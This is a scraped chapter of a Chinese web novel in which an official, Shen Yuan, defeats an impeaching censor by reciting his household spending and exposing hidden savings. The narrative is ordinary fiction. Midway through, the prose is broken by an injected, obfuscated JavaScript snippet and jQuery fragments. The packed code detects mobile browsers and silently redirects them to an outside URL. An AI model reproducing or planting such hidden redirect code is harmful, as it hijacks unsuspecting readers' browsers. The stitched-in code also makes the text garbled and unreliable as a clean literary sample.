123读书网 > 玄幻小说 > 疯批权臣每天都想物理借根 > 95.谁家还没本烂账
    正七品,纠仪御史,张巡。


    官阶不算高,但位置特殊,专管百官风纪。


    此刻他站在堂下,下巴微抬,背脊挺得笔直,眼神里透着一股子按章办事的理所当然。


    “沈大人,请吧。”


    那声音平平淡淡,不像是在递交一份足以让官员丢官罢职的弹劾文书,倒像是在走一道寻常的公文流程。


    刘通站在一旁,眼皮子跳了跳。


    那文书上可是盖了一百零八个印,几乎囊括了京城文官里的硬茬子。


    这阵仗,别说是自家这位从五品的郎中,就算是尚书大人坐在这儿,恐怕也得掂量掂量。


    沈怨坐在案后,目光在那卷明黄色的文书上扫过,最后落在了张巡的脸上。


    她没动,也没说话。


    眼神里没有什么波澜,既没有被围攻的恼怒,也没有大祸临头的慌张,倒像是在打量一本刚送上来的、还没核对过的账册。


    张巡被她看得有些不自在,眉头皱了皱。


    “沈大人这是何意?拒不接劾,莫非是想抗旨?”


    沈怨终于有了动作。


    她没去接那卷文书,而是从笔架上取下一支半旧的狼毫,在指尖轻轻转了一圈。


    “张大人,稍安勿躁。”


    她的声音很轻,听不出什么火气。


    “在看这东西之前,我想先跟你对一笔账。”


    张巡愣了一下,似乎觉得有些好笑。


    “对账?沈大人,本官在都察院任职,从不经手钱粮,与你户部更无半分瓜葛,哪来的账要对?”


    “有的。”


    沈怨放下笔,从袖中摸出一本册子。


    封皮有些旧了,她翻开新的一页,上面密密麻麻全是蝇头小字。


    “去年,景泰十四年。京城西市的猪肉,开春时是二十二文一斤,入冬后涨到了二十八文。”


    她抬起眼,看着张巡。


    “张大人府上负责采买的管事,一年下来,共买了三百一十二斤猪肉,均价二十五文,总计七千八百文,折银七两八钱。”


    “这个数,对吗?”


    张巡脸上的肌肉微微抽动了一下。


    这算什么?


    当堂查账?


    这点鸡毛蒜皮的小钱,也好意思拿到这种场合来说?


    “简直荒谬!”


    他呵斥了一声,试图掩饰那一瞬间冒出来的莫名烦躁。


    沈怨没理会,手指在账册上划过,接着念了下去。


    “你家后厨用的木炭,是城南刘记的,一等青冈炭,一百斤一吊钱,你府上去年烧了十二吊。”


    “你给你那刚满周岁的孙子,买了三只拨浪鼓,两只在东市,一只在瓦子巷,共计一百二十文。”


    “还有尊夫人。”


    沈怨顿了顿,语气依旧平铺直叙。


    “她用的胭脂水粉,是‘锦绣坊’的‘落雁’系列。春桃、夏茉、秋桂、冬梅,一年四套,从未断过,共计一十一两二钱。”


    公廨里安静下来。


    刘通张大了嘴,看着自家大人,又看了看面色逐渐僵硬的张巡。


    这哪是对账,这分明是在剥皮。


    一个朝廷命官,一年的吃穿用度,竟被人算到了骨头缝里。


    张巡觉得后背有些发凉,手心也不自觉地渗出了汗。


    那些琐碎的数字,此刻听在耳朵里,却像是一把把小锤子,敲得他心慌。


    “你……你派人监视本官?”


    “监视?”


    沈怨摇了摇头,嘴角似乎牵起一点若有若无的弧度。


    “张大人,我只是在算账。”


    “你府上的采买管事,每日去西市记账,月底结款。你夫人身边的丫鬟,是‘锦绣坊’的老主顾。就连你家倒夜香的婆子,都晓得你那小孙子最喜欢哪家的糖葫芦。”


    “这些信息,只要有心,把全京城的账本凑一块儿,谁家去年是胖了还是瘦了,自然一清二楚。”


    她将手中的册子往前推了推。


    “根据我的核算,张大人您府上去年一整年,衣食住行,人情往来,所有明面上的开销,共计三百八十五两七钱。”


    “而张大人您正七品的俸禄,加上朝廷给的各项补贴,一年下来,是三百二十两整。”


    沈怨抬起头,目光直直地看向他。


    “也就是说,你家去年,至少有六十五两七钱的亏空。”


    “可我查了京城几家大的钱庄和当铺,你没借贷,也没典当。尊夫人的嫁妆还好端端地锁在箱子里。”


    “那么,张大人。”


    沈怨站起身,绕过书案,走到他面前。


    “你府上不仅没有亏空,反而还在城郊的‘福源记’私库里,新存了三千一百二十七两银子。”


    “刨去亏空,再减去你往年的积蓄。”


    “这多出来的三千两,是从哪笔‘风纪’里纠察出来的?”


    张巡的瞳孔猛地一缩。


    福源记!


    那是他藏得最深的地方,连夫人都没告诉,就是为了防备万一。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278061|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她怎么会知道?


    他看着沈怨那双平静得有些过分的眼睛,忽然觉得一阵心悸,仿佛自己被剥光了站在雪地里,全身上下再无半点秘密。


    “这……这是污蔑!”


    他下意识地反驳,声音却有些发颤,显得底气不足。


    沈怨像是没听见,退回案后,端起那杯已经半凉的茶。


    “张大人,这还只是去年的买菜账。”


    她吹了吹茶叶,神色间带着一丝倦意。


    “要是再算细点,比如三年前你老家修祖坟,那青石的用料,似乎比报备的多了三十方。”


    “又或者,你那个在吏部当差的侄子,前儿个升主事那顿庆功宴,流水席的排场,好像也不是他那点俸禄能撑起来的。”


    每一句话,都像是一记重锤。


    张巡的脸色白了下去,原本红润的面皮此刻透着一股灰败。


    他忽然明白了。


    沈怨根本没打算跟他辩什么朝廷法度,也没打算解释什么。


    她只是把他这个人,从里到外翻了个底朝天,然后把那些见不得光的烂账,一笔一笔摊在了太阳底下。


    张巡张了张嘴,喉咙里发出几声浑浊的喘息。


    腿脚忽然有些发软,他踉跄了一下,想要扶住旁边的柱子,却抓了个空。


    整个人软绵绵地瘫倒在地。


    公廨内一片死寂。


    刘通看着地上已经昏死过去的纠仪御史,只觉得一股寒气顺着脚底板直往上窜。


    杀人不用刀。


    算盘珠子拨快了,一样能要人命。


    沈怨没看地上的张巡,仿佛那只是个无关紧要的物件。


    她的目光落在那卷被遗落在地上的弹劾文书上。


    张三走上前,捡起文书,呈到她面前。


    沈怨接过来,缓缓展开。


    上面是一个个工整的楷书名字,朱红的印泥鲜艳得有些刺眼。


    指尖在那些名字上划过,像是在清点库房里的存货。


    “一百零八位……”


    她轻声念了一句。


    “左都御史陈康,吏部侍郎王维,礼部主事李……”


    “张三。”


    “属下在。”


    沈怨将那卷长长的名单递给他,语气平静得像是在吩咐晚饭的菜色。


    “把这些名字,都誊到册子上。”


    她转头看向窗外,阳光正好,照得人身上暖洋洋的。


    “告诉他们,不用急。”


    “本官的账,还没算完。”